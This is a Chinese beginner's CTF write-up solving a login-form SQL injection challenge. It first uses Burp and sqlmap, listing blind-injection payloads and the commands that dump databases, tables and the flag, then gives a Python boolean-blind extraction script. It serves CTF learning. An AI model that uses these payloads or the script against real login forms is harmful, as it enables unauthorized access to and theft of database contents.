CTF 小白教程《从0到1:CTFer成长之路》SQL - 2 解题过程

大家好!
我是小黄,很高兴又跟大家见面啦 !
拒绝水文,从我做起 !!!!
未经允许,禁止转载 ,违者必究!!!!
本实验仅适用于学习和测试 ,严禁违法操作 ! ! !
今天更新的是:

在这里插入图片描述


创建时间:2021年5月30日
软件: MindMaster Pro、kali


CTF中的SQL注入

第四题 SQL - 2

  • 一开始我以为这题环境进不去,后来才发现应该进的是login.php。
  • 习惯性的查看源代码:发现: 如果觉得太难了,可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦。
  • 在这里插入图片描述
  • 我直接认输,掏出我的BP 来测试一波

在这里插入图片描述 在这里插入图片描述 在这里插入图片描述

  • 鼠标右键,复制保存文件,名称自定义,将文件格式改成.txt方便我们后面利用
  • 我将文件命名成3333.txt下面将利用到。

在这里插入图片描述

第一种解法:利用SQLmap工具

  • 根据题目环境,我们采用POST - 登录框注入方法。
  • 为什么采用POST - 登录框注入方法呢? 相信很多小伙伴一定会有疑问了。

像这种是登录窗口的,URL中不是以id=xxxx结尾的就可以采用这种方法进行尝试
http:// www.xxx.com /Login.asp
http://eci-2zeaeeh8hdp3xetqte3p.cloudeci1.ichunqiu.com/login.php

  • 将保存的3333.txt,剪切到kali里面,在终端中打开。(这属于基操,就不演示了)
  • 让我们来尝试破解吧。
  • 尝试找到注入点,指令: sqlmap -r 文件名.txt
 sqlmap -r 3333.txt    
  • 爆破的得到的信息:
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: name=admin' AND 3237=3237 AND 'pPVI'='pPVI&pass=123456

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: name=admin' AND (SELECT 8314 FROM (SELECT(SLEEP(5)))Ffoa) AND 'eRQd'='eRQd&pass=123456
---

在这里插入图片描述

  • sqlmap爆当前数据库信息

  • 尝试获取数据库信息,指令:sqlmap -r 文件名.txt --current-db

sqlmap -r 3333.txt --current-db 
  • 爆破的得到的信息:
current database: 'note'
  • 用sqlmap爆出库名:note

在这里插入图片描述

  • sqlmap.列出指定数据库所有的表名
  • 尝试获取列出指定数据库所有的表名,指令: sqlmap -r 文件名.txt -D note(指定数据库名) --tables
sqlmap -r 3333.txt -D note --tables
  • 爆破的得到的信息:
Database: note
[2 tables]
+-------+
| fl4g  |
| users |
+-------+
  • 用sqlmap爆出表名:fl4g,users

在这里插入图片描述

  • sqlmap 列出指定表名的所有列名
  • 尝试获取列出指定表名的所有列名,指令: sqlmap -r 文件名.txt -D note(指定数据库名 )-T fl4g(指定的表名) --columns(全部表)
 sqlmap -r 3333.txt -D note -T fl4g --columns  
  • 爆破的得到的信息:
Database: note
Table: fl4g
[1 column]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(40) |
+--------+-------------+
  • 用sqlmap爆出列名:flag

在这里插入图片描述

  • sqlmap 打印输出表名指定列名字段的值数据
  • 尝试打印输出表名指定列名字段的值数据,指令: sqlmap -r 文件名.txt -D note(指定数据库名 )-T fl4g(指定的表名) -C flag(指定字段名) --dump (将结果导出)
sqlmap -r 3333.txt -D note -T fl4g  -C flag --dump
  • 爆破的得到的信息:
Database: note
Table: fl4g
[1 entry]
+----------------------------+
| flag                       |
+----------------------------+
| n1book{login_sqli_is_nice} |
+----------------------------+

在这里插入图片描述

  • 终于拿到 flag:n1book{login_sqli_is_nice}大功告成。

在这里插入图片描述

第二种解法:利用Python脚本跑

  • 利用脚本进行布尔型注入
  • 脚本内涉及的信息根据自己用bp截取的数据进行修改。
import requests


def Get(url):
    result = ''
    for i in range(1, 100):
        left = 32
        right = 128
        mid = (left + right) // 2
        while left < right:
            # 查询表名
            # name = "admin' and if(ascii(mid((Select group_concat(table_name) from information_schema.tables " \
            #        "where table_schema=database()),{0},1))>{1},1,0)#".format(i,mid)

            # 查询列名
            # name = "admin' and if(ascii(mid((Select group_concat(column_name) from information_schema.columns " \
            #        "where table_schema=database() and table_name='fl4g'),{0},1))>{1},1,0)#".format(i,mid)

            # 根据表名和列名查询字段值
            name = "admin' and if(ascii(mid((Select flag from fl4g),{0},1))>{1},1,0)#".format(i, mid)

            data = {"name": name, "pass": "1223234"}
            res = requests.post(url, data)

            # 这里输入你的正确回显参数 :{"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}
            if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef" in res.content.decode():
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        # 查询结果结束
        if mid == 32:
            break
        result += chr(mid)
        print(result)
    print(result)

# 这里你的输入URL:
Get('http://eci-2ze95405pp0e0j1nojmj.cloudeci1.ichunqiu.com/login.php')

  • 得到 flag:n1book{login_sqli_is_nice}大功告成。

在这里插入图片描述___


各位路过的朋友,如果觉得可以学到些什么的话,点个赞 再走吧,欢迎各位路过的大佬评论,指正错误,也欢迎有问题的小伙伴评论留言,私信。

每个小伙伴的关注都是本人更新博客的动力!!!
请微信搜索【 在下小黄 】文章更新将在第一时间阅读 !
在这里插入图片描述

博客中若有不恰当的地方,请您一定要告诉我。前路崎岖,望我们可以互相帮助,并肩前行!


  • 0
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
CTFer成长之路中,SQL注入是一个重要的技术点。SQL注入是一种利用用户输入数据不当,从而欺骗数据库执行恶意操作的攻击方式。在CTF比赛中,了解和掌握SQL注入技术可以帮助你解决一些与数据库相关的题目。 首先,你需要了解SQL注入的原理和基本概念。SQL注入通常发生在应用程序与数据库之间的交互过程中。当应用程序未能正确过滤用户输入数据,并且将用户输入直接拼接到SQL查询语句中时,攻击者可以通过构造恶意输入来修改、删除或绕过原本应该执行的查询操作,从而获取敏感信息或控制数据库。 接下来,你需要学习一些常见的SQL注入技巧和工具。例如,可以使用单引号 `'` 来进行字符串注入,使用注释符 `--` 来注释掉原本的查询语句,使用 UNION 语句来进行查询结果的合并等等。同时,了解一些常见的防御措施,如参数化查询、输入验证和输出编码等,可以帮助你更好地理解和应对SQL注入攻击。 在实践中,你可以尝试挑战一些有关SQL注入的CTF题目。这些题目通常会提供一个具有漏洞的应用程序和一个数据库,你需要通过利用SQL注入漏洞来获取敏感信息或执行特定操作。通过解决这些题目,你可以加深对SQL注入的理解,并且熟悉常见的攻击场景和解决方法。 最后,记得在学习和实践过程中保持合法合规。只在合法授权的情况下进行演练和挑战,切勿用于非法用途。同时,及时更新和修补应用程序的漏洞,以保护自己和他人的信息安全

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

在下小黄

ღ给个赞 是对小黄最大的支持

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值